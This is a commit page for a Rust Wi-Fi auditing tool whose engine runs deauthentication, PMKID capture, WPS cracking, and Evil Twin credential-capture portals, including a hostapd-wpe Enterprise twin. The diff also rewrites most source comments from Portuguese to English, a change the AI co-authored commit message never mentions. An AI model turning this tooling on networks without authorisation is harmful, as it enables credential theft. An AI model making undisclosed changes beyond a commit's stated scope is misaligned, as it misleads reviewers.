fix(gui): add non-Linux stubs for pmkid_hunt/pmf_test and fix Windows warnings

main.rs failed to compile on Windows: pmkid_hunt and pmf_test were only
implemented under #[cfg(target_os = "linux")], with no fallback stub,
so the Tauri commands calling them did not resolve.

- Add #[cfg(not(target_os = "linux"))] stubs for both, matching the
  existing pattern for every other Linux-only Engine method (returns
  SabiaError::UnsupportedPlatform).
- Mark the DeauthJob/Engine fields and session_ap/client_snapshot
  helpers that only the Linux-only code paths use with
  #[cfg_attr(not(target_os = "linux"), allow(dead_code))], same for
  eviltwin.rs's form_value/url_decode (only called from the
  #[cfg(target_os = "linux")] HTTP handler) — silences the 5
  dead_code warnings a Windows build produced.
- .setup(|app| ...) used app only inside unix/linux/macos-gated
  blocks, so it was unused on Windows; renamed the closure parameter
  and reintroduce it under the matching cfg.
- Add the missing English dictionary entry for the mutation-rules
  checkbox label in app.js (found by visually reviewing a generated
  screenshot: it was rendering in Portuguese in the English UI even
  though check-ui-i18n.mjs reported full coverage).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VAyr8d7HuAdUGB6aA5xmDD
This commit is contained in:
Lucas RayanandClaude Sonnet 5 committed 2026-10-30 20:44:17 -03:00
1 parent 2dfbbfc64a
commit a904723f96
4 files changed
+302 -270

No files matched your search

+214 -189
View File
@@ -1,9 +1,9 @@
//! Ponte única entre o núcleo e as duas interfaces (servidor local da CLI e
//! o app desktop Tauri): ambos chamam exatamente os mesmos métodos, então
//! qualquer coisa que funcione em um funciona idêntico no outro.
//! Unified service engine shared by both the CLI web server (`sabia ui`) and
//! the Tauri desktop app: manages live capture sessions, channel hopping,
//! dictionary/mask cracking jobs, deauth/PMKID/PMF/WPS tasks, and Evil Twin.
//!
//!
//!
//! Sessões de captura, jobs de quebra, exportação de handshakes e deauth
//! ficam todos aqui — a CLI e a GUI não reimplementam nada.
use crate::audit::AuditLog;
use crate::crack::{self, CrackReport};
@@ -29,15 +29,15 @@ use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanOptions {
/// Canal fixo; sem ele, percorre os canais suportados.
/// Fixed channel; when `None`, hops across supported channels in `band`.
pub channel: Option<u32>,
/// `2.4`, `5`, `6` ou `all` (usado quando `channel` é `None`).
/// Band filter (`"2.4"`, `"5"`, `"6"`, or `"all"`) used when `channel` is `None`.
pub band: Option<String>,
/// Tempo em cada canal ao pular.
/// Channel hop dwell time in milliseconds.
pub hop_ms: u64,
/// Salva os quadros capturados neste `.pcap`.
/// Optional `.pcap` output path to mirror all captured frames.
pub pcap_out: Option<PathBuf>,
/// Encerra sozinho depois de N segundos.
/// Automatically stop the capture session after this many seconds.
pub duration_secs: Option<u64>,
}
@@ -108,20 +108,20 @@ pub struct WpsJobInfo {
#[derive(Debug, Clone, Serialize)]
pub struct EvilTwinJobInfo {
pub id: String,
/// Interface que captura/desautentica o AP real.
/// Monitor-mode interface used to capture and deauthenticate the target AP.
pub iface: String,
/// Interface que hospeda o clone (precisa ser outra, em modo AP).
/// Secondary wireless interface hosting the rogue AP (`hostapd`).
pub ap_iface: String,
pub ssid: String,
pub bssid: String,
pub portal_port: u16,
pub status: String,
/// Quantas vezes alguém submeteu uma senha no portal.
/// Number of passphrase submissions received by the captive portal.
pub attempts: u32,
/// Última tentativa: "correct", "wrong" ou "invalid".
/// Outcome of the most recent submission: `"correct"`, `"wrong"`, or `"invalid"`.
pub last_attempt: Option<String>,
/// Só preenchido quando alguém digita a senha certa — conferida de
/// verdade contra o handshake, não é só o que foi digitado.
/// Populated only when a submitted passphrase cryptographically verifies
/// against the captured handshake/PMKID.
pub password: Option<String>,
pub deauth_job: Option<String>,
pub error: Option<String>,
@@ -135,11 +135,11 @@ pub struct EvilTwinJobInfo {
pub stop: Option<Arc<AtomicBool>>,
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver
/// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem
/// portal/senha: a credencial é capturada automaticamente pelo próprio
/// handshake EAP, por isso o job só expõe quantas identidades já apareceram
/// no log do hostapd-wpe e o caminho do arquivo pra quebra offline.
/// WPA2/WPA3-Enterprise (802.1X) Evil Twin job status (see
/// `eviltwin_enterprise.rs`). Captures EAP (PEAP/TTLS -> MSCHAPv2) challenge/response
/// hashes via `hostapd-wpe` for offline cracking.
///
///
#[derive(Debug, Clone, Serialize)]
pub struct EnterpriseTwinJobInfo {
pub id: String,
@@ -224,8 +224,11 @@ pub struct DeauthJobInfo {
struct DeauthJob {
info: Arc<Mutex<DeauthJobInfo>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
stop: Arc<AtomicBool>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
handle: Option<std::thread::JoinHandle<()>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
locked_channel: Option<u32>,
}
@@ -246,12 +249,16 @@ pub struct Engine {
jobs: Mutex<HashMap<String, Arc<Mutex<CrackJobInfo>>>>,
job_seq: AtomicU64,
deauth_jobs: Mutex<HashMap<String, DeauthJob>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
deauth_seq: AtomicU64,
wps_jobs: Mutex<HashMap<String, Arc<Mutex<WpsJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
wps_seq: AtomicU64,
eviltwin_jobs: Mutex<HashMap<String, Arc<Mutex<EvilTwinJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
eviltwin_seq: AtomicU64,
enterprise_twin_jobs: Mutex<HashMap<String, Arc<Mutex<EnterpriseTwinJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
enterprise_twin_seq: AtomicU64,
audit_path: PathBuf,
audit_lock: Arc<Mutex<()>>,
@@ -296,13 +303,13 @@ impl Engine {
&self.audit_path
}
/// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o
/// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread
/// de limpeza do Evil Twin faria no fim normal do job: mata
/// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro
/// NetworkManager — sem isso o processo morre com as duas interfaces
/// presas em `managed no` e o Wi-Fi some do painel do sistema até o
/// próximo início do engine rodar `self_heal_eviltwin_leftovers`.
/// Invoked by the host process SIGINT/SIGTERM handler before exit.
/// Synchronously stops any active Evil Twin (`hostapd`/`dnsmasq`), removes
/// `iptables` redirect rules, and returns wireless interfaces to NetworkManager.
///
///
///
///
#[cfg(target_os = "linux")]
pub fn shutdown_cleanup(&self) {
use std::process::Command;
@@ -375,13 +382,13 @@ impl Engine {
if !enable {
self.stop_scan(name);
}
// Visto ao vivo: com a interface ainda sob o NetworkManager, ele
// reage ao modo monitor como uma desconexão e reconecta a interface
// de volta em managed — às vezes rápido o bastante pra já estar
// gerenciada nem dez segundos depois do botão "ativar modo monitor"
// mostrar sucesso, e a captura falha com "está em modo managed"
// mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM
// antes/depois de trocar o modo (best-effort: segue sem nmcli).
// Detach the interface from NetworkManager (`nmcli device set <iface> managed no`)
// before enabling monitor mode so NM does not immediately reset it back to
// managed mode, and reattach it when returning to managed mode.
//
//
//
//
if enable {
let _ = std::process::Command::new("nmcli")
.args(["device", "set", name, "managed", "no"])
@@ -419,9 +426,9 @@ impl Engine {
Ok(())
}
/// Trava a captura em um canal (ou volta a pular canais com `None`).
/// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o
/// ataque está em andamento.
/// Locks the active capture session onto a fixed channel (or resumes hopping with `None`).
/// Used by deauth, PMKID, and WPS jobs so frames are transmitted and received on the
/// target AP's channel.
pub fn lock_channel(&self, name: &str, channel: Option<u32>) -> Result<()> {
if let Some(channel) = channel {
netlink::set_channel(name, channel)?;
@@ -469,8 +476,8 @@ impl Engine {
};
let hop = Duration::from_millis(options.hop_ms.clamp(100, 5_000));
// Substitui uma sessão anterior (se houver) só depois que a nova
// captura abriu, para não derrubar a antiga se algo falhar.
// Replace any previous capture session only after the new capture socket
// opens cleanly.
self.stop_scan(name);
let table = Arc::new(Mutex::new(ScanTable::new()));
@@ -648,14 +655,14 @@ impl Engine {
let analysis = table.analysis();
let stats = table.stats();
let running = session.running.load(Ordering::SeqCst);
// Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro
// na hora de ativar) e ainda assim nunca entregar um quadro de
// verdade pro socket de captura — comum em Wi-Fi interna de
// notebook, cujo firmware ignora o pedido de modo promíscuo. 12s
// dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem
// achar nem um beacon, o que nunca acontece de verdade num ambiente
// com Wi-Fi ao redor — é sinal de que a placa não está entregando
// quadro nenhum, não que o ar está vazio.
// Detect silent monitor-mode failure: some laptop Wi-Fi adapters accept
// switching to monitor mode via netlink without error yet never deliver
// any 802.11 frames to the raw socket. After 12s with zero frames,
// surface a warning to the user.
//
//
//
//
let warning = if running
&& stats.frames == 0
&& unix_now().saturating_sub(session.started_unix) >= 12
@@ -684,7 +691,7 @@ impl Engine {
Ok(snapshot)
}
/// Compatibilidade com a API antiga: só os APs da sessão.
/// Returns the list of access points from the current capture session.
pub fn scan_results(&self, name: &str) -> Vec<AccessPoint> {
self.sessions
.lock()
@@ -703,8 +710,8 @@ impl Engine {
.unwrap_or_default()
}
/// Analisa um `.pcap` offline e devolve o mesmo snapshot da captura ao
/// vivo (sem sessão e sem tocar no rádio).
/// Parses an offline `.pcap` file and returns a `ScanSnapshot` without
/// touching any wireless hardware.
pub fn analyze_pcap(&self, path: impl AsRef<Path>) -> Result<ScanSnapshot> {
let path = path.as_ref();
let mut reader = PcapReader::open(path)?;
@@ -732,9 +739,9 @@ impl Engine {
})
}
/// Modelo completo do relatório: snapshot atual + trilha de auditoria.
/// A interface renderiza com Paged.js; a mesma estrutura vira HTML
/// standalone no servidor local.
/// Builds the full audit report model (scan snapshot + WIDS analysis + audit trail).
/// Rendered in the UI via Paged.js or exported as standalone HTML.
///
pub fn report(&self, name: &str) -> Result<crate::report::ReportModel> {
let snapshot = self.scan_snapshot(name)?;
let audit = self.audit_entries(Some(60)).unwrap_or_default();
@@ -918,9 +925,9 @@ impl Engine {
)
}
/// Quebra com o dicionário embutido (9,7 milhões de senhas reais,
/// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo.
/// É o padrão do botão “Quebrar senha”.
/// Starts a background dictionary crack job using the built-in 9.7M WPA wordlist.
///
///
pub fn start_crack_default(
&self,
name: &str,
@@ -1048,11 +1055,11 @@ impl Engine {
Ok(id)
}
/// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem
/// dicionário. `max_candidates` é um limite de segurança — máscaras
/// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a
/// máquina por dias; recusa de cara em vez de deixar o job rodar pra
/// sempre sem avisar.
/// Starts a background mask brute-force job (e.g. `?d?d?d?d?d?d?d?d`),
/// rejecting keyspaces larger than `max_candidates`.
///
///
///
pub fn start_crack_mask(
&self,
name: &str,
@@ -1196,8 +1203,8 @@ impl Engine {
self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth")
}
/// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`.
/// `frame_kind`: `deauth` ou `disassoc`.
/// `direction`: `"ap"` (AP->STA), `"sta"` (STA->AP, requires `client`), or `"both"`.
/// `frame_kind`: `"deauth"` or `"disassoc"`.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn deauth_directional(
@@ -1294,11 +1301,11 @@ impl Engine {
Ok(report)
}
/// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da
/// captura é travado no canal do AP enquanto o job roda, senão o salto de
/// canais faria os quadros saírem na frequência errada e perderia o
/// handshake. `stop_on_handshake` encerra sozinho quando o par
/// (BSSID, estação) fica quebrável.
/// Starts a background deauthentication job (until `stop_deauth_job`), locking
/// the capture channel to the target AP and optionally stopping automatically
/// once a crackable handshake is captured (`stop_on_handshake`).
///
///
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_deauth_job(
@@ -1484,8 +1491,8 @@ impl Engine {
if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) {
break;
}
// Confere antes de uma nova rajada para não interromper um
// handshake que chegou enquanto o job esperava a reassociação.
// Check whether a handshake already arrived before sending another burst.
//
if stop_on_handshake && handshake_ready() {
handshake = true;
break;
@@ -1671,10 +1678,10 @@ impl Engine {
ids
}
/// Atalho para “forçar handshake”: escolhe um cliente associado (quando
/// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas.
/// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o
/// cliente fora do ar e pode impedir a reassociação que produz o EAPOL.
/// Shortcut to force a WPA handshake: picks an associated client (if none
/// specified), locks onto the AP channel, and sends spaced deauth bursts
/// so the client has time to reassociate and complete the 4-way handshake.
///
#[cfg(target_os = "linux")]
pub fn capture_handshake(
&self,
@@ -1757,10 +1764,10 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Tenta provocar a mensagem 1 com PMKID: autentica e envia um
/// association request com RSN/PMKID usando um MAC local forjado. É o
/// mesmo gatilho do ataque clientless, mas depende do AP — muitos só
/// incluem PMKID em roaming real.
/// Attempts clientless PMKID capture by sending Open Authentication followed
/// by an Association Request with an RSN IE from a locally administered MAC.
///
///
#[cfg(target_os = "linux")]
pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result<PmkidReport> {
use crate::inject::{self, RawInjector};
@@ -1860,6 +1867,12 @@ impl Engine {
Ok(report)
}
#[cfg(not(target_os = "linux"))]
pub fn pmkid_hunt(&self, _name: &str, _bssid: &str, _attempts: u32) -> Result<PmkidReport> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn session_ap(&self, name: &str, bssid: &str) -> Result<Option<AccessPoint>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
@@ -1872,9 +1885,9 @@ impl Engine {
.find(|a| a.bssid.eq_ignore_ascii_case(bssid)))
}
/// Teste prático de PMF: desautentica nas duas direções e observa se a
/// estação volta a associar. Não é uma prova criptográfica — é o mesmo
/// sinal que um ataque real usaria.
/// Practical 802.11w (PMF) test: injects unprotected deauth frames in both
/// directions and observes whether the station reassociates.
///
#[cfg(target_os = "linux")]
pub fn pmf_test(
&self,
@@ -1946,6 +1959,18 @@ impl Engine {
Ok(report)
}
#[cfg(not(target_os = "linux"))]
pub fn pmf_test(
&self,
_name: &str,
_bssid: &str,
_station: &str,
_reason: u16,
) -> Result<PmfReport> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn client_snapshot(&self, name: &str, station: &str) -> Result<Option<crate::scan::Client>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
@@ -1959,8 +1984,8 @@ impl Engine {
crate::wps::tools()
}
/// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie
/// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece.
/// Spawns `reaver` or `bully` as a child process (defaulting to Pixie Dust when
/// `pin` is omitted) and streams output lines while parsing any recovered PIN/PSK.
#[cfg(target_os = "linux")]
pub fn start_wps(
&self,
@@ -2181,7 +2206,7 @@ impl Engine {
.ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?;
let pid = job.lock().unwrap().pid;
if let Some(pid) = pid {
// SAFETY: sinal para o processo filho que este próprio Sabiá criou.
// SAFETY: sends a signal to the child process spawned by this instance.
unsafe {
libc::kill(pid as i32, libc::SIGTERM);
}
@@ -2202,16 +2227,16 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID
/// aberto, numa segunda interface em modo AP) e sobe um portal que pede
/// a senha — conferida na hora contra um handshake real já capturado
/// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um
/// handshake quebrável já presente na tabela: é o mesmo requisito do
/// botão "Quebrar senha", só que a verificação acontece ao vivo, uma
/// tentativa por vez, em vez de testar um dicionário inteiro.
/// Evil Twin + captive portal: clones a target AP on a secondary `ap_iface`
/// (open SSID) with `hostapd` + `dnsmasq` and serves a captive portal that
/// verifies submitted passphrases against a captured WPA handshake/PMKID.
///
///
///
///
///
/// Requires `hostapd`, `dnsmasq`, `iptables`, and a second AP-capable wireless interface.
///
/// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi
/// capaz de modo AP, diferente da que está capturando/desautenticando.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_evil_twin(
@@ -2304,13 +2329,13 @@ impl Engine {
)
.map_err(SabiaError::Io)?;
// Estado em disco pra recuperação: se este processo morrer (Ctrl+C
// sem handler, kill -9, queda de energia) antes da thread de
// limpeza rodar, as duas interfaces ficam presas em `managed no`
// pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos —
// na prática o Wi-Fi inteiro desaparece da configuração do sistema
// (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers`
// lê este arquivo no próximo início do engine e desfaz tudo.
// Persist recovery state to disk before modifying network state so
// `self_heal_eviltwin_leftovers` can clean up orphaned `hostapd`/`dnsmasq`
// processes, `iptables` rules, and `nmcli managed no` flags if killed.
//
//
//
//
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
@@ -2324,17 +2349,17 @@ impl Engine {
.to_string(),
);
// Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa
// interface, ele reafirma a própria conexão por cima e o hostapd
// nunca consegue de fato assumir o rádio — fica "rodando" sem subir
// o AP. Solta a interface antes (best-effort: segue em frente mesmo
// sem nmcli, só não vai funcionar contra uma interface gerenciada).
// Detach both `ap_iface` and `capture_iface` from NetworkManager before
// starting `hostapd` so NM neither overrides the rogue AP interface nor
// attempts to auto-connect a saved profile on the capture interface.
//
//
//
//
//
//
//
//
// A interface de CAPTURA também precisa ficar fora do NetworkManager
// nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM
// "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi
// gerenciável disponível (a própria interface de captura!), tirando
// ela do modo monitor no meio da sessão. Solta as duas.
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "no"])
.status();
@@ -2342,8 +2367,8 @@ impl Engine {
.args(["device", "set", name, "managed", "no"])
.status();
// Endereço do gateway na interface do clone, antes de subir o
// hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar.
// Assign the gateway IP to `ap_iface` before starting `hostapd`/`dnsmasq`.
//
let _ = Command::new("ip")
.args(["addr", "flush", "dev", ap_iface])
.status();
@@ -2354,13 +2379,13 @@ impl Engine {
.args(["link", "set", ap_iface, "up"])
.status();
// A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre
// na hora (config que o driver recusa, canal/banda que a placa não
// suporta de verdade, etc.) a única pista era um processo
// "<defunct>" sem explicação nenhuma. Grava num arquivo pra poder
// diagnosticar, e confere logo depois do spawn se ele já morreu —
// nesse caso devolve o erro de cara em vez de deixar o job "rodando"
// só na aparência enquanto o AP nunca sobe de verdade.
// Redirect `hostapd` output to a log file and verify it stays alive after
// startup so immediate driver/channel failures return a clear error.
//
//
//
//
//
let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
@@ -2406,11 +2431,11 @@ impl Engine {
let _ = Command::new("iptables").args(&rule).status();
}
// Sem parada automática daqui de dentro: a thread que termina o
// Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job
// de volta). Por segurança o job de deauth tem um teto de 30min —
// pra encerrar antes, é o endpoint de deauth normal (POST
// /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar.
// Cap continuous deauth at 30 minutes (or until `stop_evil_twin` / `stop_deauth_job`).
//
//
//
//
let deauth_job = if deauth_real_ap {
self.start_deauth_job_burst(
name,
@@ -2502,8 +2527,8 @@ impl Engine {
},
);
// Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o
// job de deauth do AP real — sempre, sucesso ou não.
// Cleanup: stop `hostapd`/`dnsmasq`, remove `iptables` rules, and restore
// both interfaces to NetworkManager.
unsafe {
libc::kill(hostapd_pid as i32, libc::SIGTERM);
}
@@ -2515,20 +2540,20 @@ impl Engine {
for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) {
let _ = Command::new("iptables").args(&rule).status();
}
// Devolve as duas interfaces pro NetworkManager, senão ficam
// soltas (sem reconectar sozinhas a nada) depois que o hostapd
// sai. A de captura também foi solta lá no início — ver o
// comentário em start_evil_twin sobre o NM "resgatando" conexão
// salva pra ela quando só a `ap_iface` era liberada.
// Return both `ap_iface` and `capture_iface` to NetworkManager.
//
//
//
//
let _ = Command::new("nmcli")
.args(["device", "set", &ap_iface_owned, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", &iface_name, "managed", "yes"])
.status();
// Limpeza terminou direitinho: o arquivo de recuperação não é
// mais necessário (senão o próximo start do engine ia tentar
// "curar" um estado que já está limpo).
// Cleanup succeeded: remove the crash-recovery state file.
//
//
let _ = std::fs::remove_file(&state_path_for_thread);
let mut guard = thread_job.lock().unwrap();
@@ -2613,29 +2638,29 @@ impl Engine {
if let Some(stop) = &guard.stop {
stop.store(true, Ordering::SeqCst);
}
// O accept() não-bloqueante só confere o `stop` a cada ~80ms — o
// listener às vezes só é liberado numa conexão local de "empurrão".
// Wake the non-blocking `accept()` loop with a local connection so it exits immediately.
//
let port = guard.portal_port;
let capture_iface = guard.iface.clone();
drop(guard);
let _ = std::net::TcpStream::connect(("127.0.0.1", port));
// A thread que fecha o Evil Twin roda solta e não tem como parar o
// job de deauth acoplado de volta; isso aqui, que tem `&self`, pode.
// Also stop the companion deauth job if one was started alongside the Evil Twin.
//
self.stop_deauth_for_iface(&capture_iface);
Ok(())
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa
/// segunda interface anunciando o mesmo SSID+canal e deixa o
/// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de
/// qualquer cliente — a credencial sai sozinha, como parte do próprio
/// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs`
/// pro porquê disso só existir pra Enterprise e não pra PSK).
/// Starts a WPA2/WPA3-Enterprise (802.1X) Evil Twin using `hostapd-wpe`
/// on `ap_iface` to capture EAP (PEAP/TTLS -> MSCHAPv2) challenge/response
/// credentials (see `eviltwin_enterprise.rs`).
///
///
///
///
/// Requires the target AP to advertise 802.1X Enterprise security and
/// `hostapd-wpe` + `openssl` to be installed.
///
///
/// Exige que o AP já tenha aparecido nesta sessão com segurança
/// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é
/// vendorizado como o reaver: é um patch sobre a árvore de build do
/// hostapd, não um binário pequeno.
#[cfg(target_os = "linux")]
pub fn start_evil_twin_enterprise(
&self,
@@ -2708,10 +2733,10 @@ impl Engine {
crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE,
)
.map_err(SabiaError::Io)?;
// Mesmo certificado autoassinado serve de "CA" e de certificado do
// servidor — não é uma cadeia de verdade, só o suficiente pra abrir
// o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs
// sobre clientes que validam a cadeia e vão recusar isso de propósito.
// Use the generated self-signed certificate as both `ca_cert` and
// `server_cert` to establish the outer PEAP/TTLS TLS tunnel.
//
//
let cert_args = crate::eviltwin_enterprise::openssl_selfsigned_cert_args(
&key_path.to_string_lossy(),
&cert_path.to_string_lossy(),
@@ -2743,11 +2768,11 @@ impl Engine {
)
.map_err(SabiaError::Io)?;
// Mesmo esquema de recuperação do Evil Twin de PSK (bug-093):
// `self_heal_eviltwin_leftovers` lê qualquer `state-*.json` sobrando
// e desfaz tudo no próximo início do engine, mesmo sem
// `portal_port`/`dnsmasq_conf` (campos ausentes, tratados como
// opcionais nessa função).
// Persist crash-recovery state so `self_heal_eviltwin_leftovers` can
// restore interfaces if the process exits unexpectedly.
//
//
//
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
@@ -2766,11 +2791,11 @@ impl Engine {
.args(["device", "set", name, "managed", "no"])
.status();
// Mesmo diagnóstico do bug-093 pro hostapd puro: grava a saída pra
// conseguir explicar um crash imediato em vez de deixar um
// "<defunct>" mudo (placa sem o canal/banda de verdade, por
// exemplo). Sem DHCP/iptables aqui — a credencial EAP é enviada
// como parte do 802.1X, antes de qualquer IP ser atribuído.
// Log `hostapd-wpe` output and check for immediate startup exit.
//
//
//
//
let hostapd_log_path = dir.join(format!("hostapd-wpe-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
@@ -2841,9 +2866,9 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Relê o log do hostapd-wpe (se o job ainda estiver rodando) e devolve
/// o estado atual — sem thread de fundo: o polling da UI já chama isso
/// a cada ~1.5s, igual aos outros jobs.
/// Re-parses the `hostapd-wpe` log file and returns the current job status.
///
///
pub fn enterprise_twin_job(&self, id: &str) -> Option<EnterpriseTwinJobInfo> {
let job = self.enterprise_twin_jobs.lock().unwrap().get(id).cloned()?;
{
@@ -2878,11 +2903,11 @@ impl Engine {
out
}
/// Mata o hostapd-wpe e devolve as duas interfaces pro NetworkManager —
/// síncrono (tem `&self`, sem thread solta pra coordenar), ao contrário
/// do Evil Twin de PSK que precisa de uma thread de portal rodando em
/// paralelo. O log de credenciais fica no disco (não é apagado) pra
/// quebra offline com john/hashcat.
/// Stops `hostapd-wpe`, restores both wireless interfaces to NetworkManager,
/// and preserves the captured credentials log file on disk for offline cracking.
///
///
///
#[cfg(target_os = "linux")]
pub fn stop_evil_twin_enterprise(&self, id: &str) -> Result<()> {
let job = self
@@ -3005,14 +3030,14 @@ fn append_audit(
let _ = log.record(action, target, &text);
}
/// Desfaz um Evil Twin que não terminou direito numa execução anterior
/// (processo morto por Ctrl+C sem handler, `kill -9`, queda de energia):
/// mata hostapd/dnsmasq órfãos, remove as regras de iptables e devolve as
/// duas interfaces (clone + captura) pro NetworkManager. Sem isso elas
/// ficam presas em `managed no` e o painel de Wi-Fi do sistema some por
/// completo (nenhum dispositivo gerenciado pra mostrar) até o usuário
/// descobrir e rodar `nmcli device set <iface> managed yes` na mão.
/// Roda uma vez, best-effort, toda vez que um `Engine` é criado.
/// Cleans up leftover Evil Twin state from a previously terminated process:
/// kills orphaned `hostapd`/`dnsmasq` processes, removes `iptables` redirect
/// rules, and returns both wireless interfaces to NetworkManager.
/// Runs best-effort whenever an `Engine` instance is initialized.
///
///
///
///
#[cfg(target_os = "linux")]
fn self_heal_eviltwin_leftovers() {
use std::process::Command;
@@ -3024,8 +3049,8 @@ fn self_heal_eviltwin_leftovers() {
return self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
};
self_heal_eviltwin_leftovers_for_uid(uid);
// Também cobre o euid atual (sudo normalmente roda como root/0, que é
// o euid real do processo mesmo com SUDO_UID setado).
// Scan both the real user UID and the current effective UID (`0` under sudo).
//
self_heal_eviltwin_leftovers_for_uid(unsafe { libc::geteuid() });
fn self_heal_eviltwin_leftovers_for_uid(uid: u32) {
@@ -3263,8 +3288,8 @@ mod tests {
fn evil_twin_requires_a_crackable_handshake_for_that_bssid() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
// Só o beacon, sem handshake nenhum — a sessão sabe do AP mas não
// tem como conferir senha nenhuma no portal ainda.
// Only a beacon was ingested (no handshake yet), so the captive portal
// cannot verify passphrases yet.
let mut table = ScanTable::new();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
table.ingest(&beacon);
@@ -3290,8 +3315,8 @@ mod tests {
#[test]
fn evil_twin_fails_clearly_when_hostapd_is_missing() {
// Neste ambiente de CI/sandbox hostapd não está instalado de
// propósito — exercita o caminho de erro de verdade, não um mock.
// Exercise the missing-binary error path when `hostapd` is absent.
//
if crate::wps::find_in_path("hostapd").is_some() {
eprintln!("hostapd instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
@@ -3323,7 +3348,7 @@ mod tests {
#[test]
fn evil_twin_enterprise_rejects_a_psk_network() {
// seed_session() cria um beacon com AKM 2 (PSK) — não é Enterprise.
// `seed_session()` seeds a WPA2-PSK beacon (AKM 2), which is rejected by Enterprise Evil Twin.
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
@@ -3346,9 +3371,9 @@ mod tests {
#[test]
fn evil_twin_enterprise_accepts_an_802_1x_network_up_to_the_hostapd_wpe_check() {
// AKM 1 = 802.1X (Enterprise) — passa a validação de segurança e só
// falha mais na frente, no binário externo que não existe neste
// ambiente de CI/sandbox de propósito.
// AKM 1 = 802.1X (Enterprise) passes security validation and reaches external binary checks.
//
//
if crate::wps::find_in_path("hostapd-wpe").is_some() {
eprintln!("hostapd-wpe instalado nesta máquina — pulando (o teste é pro caso sem ele)");
return;
+55 -53
View File
@@ -1,27 +1,27 @@
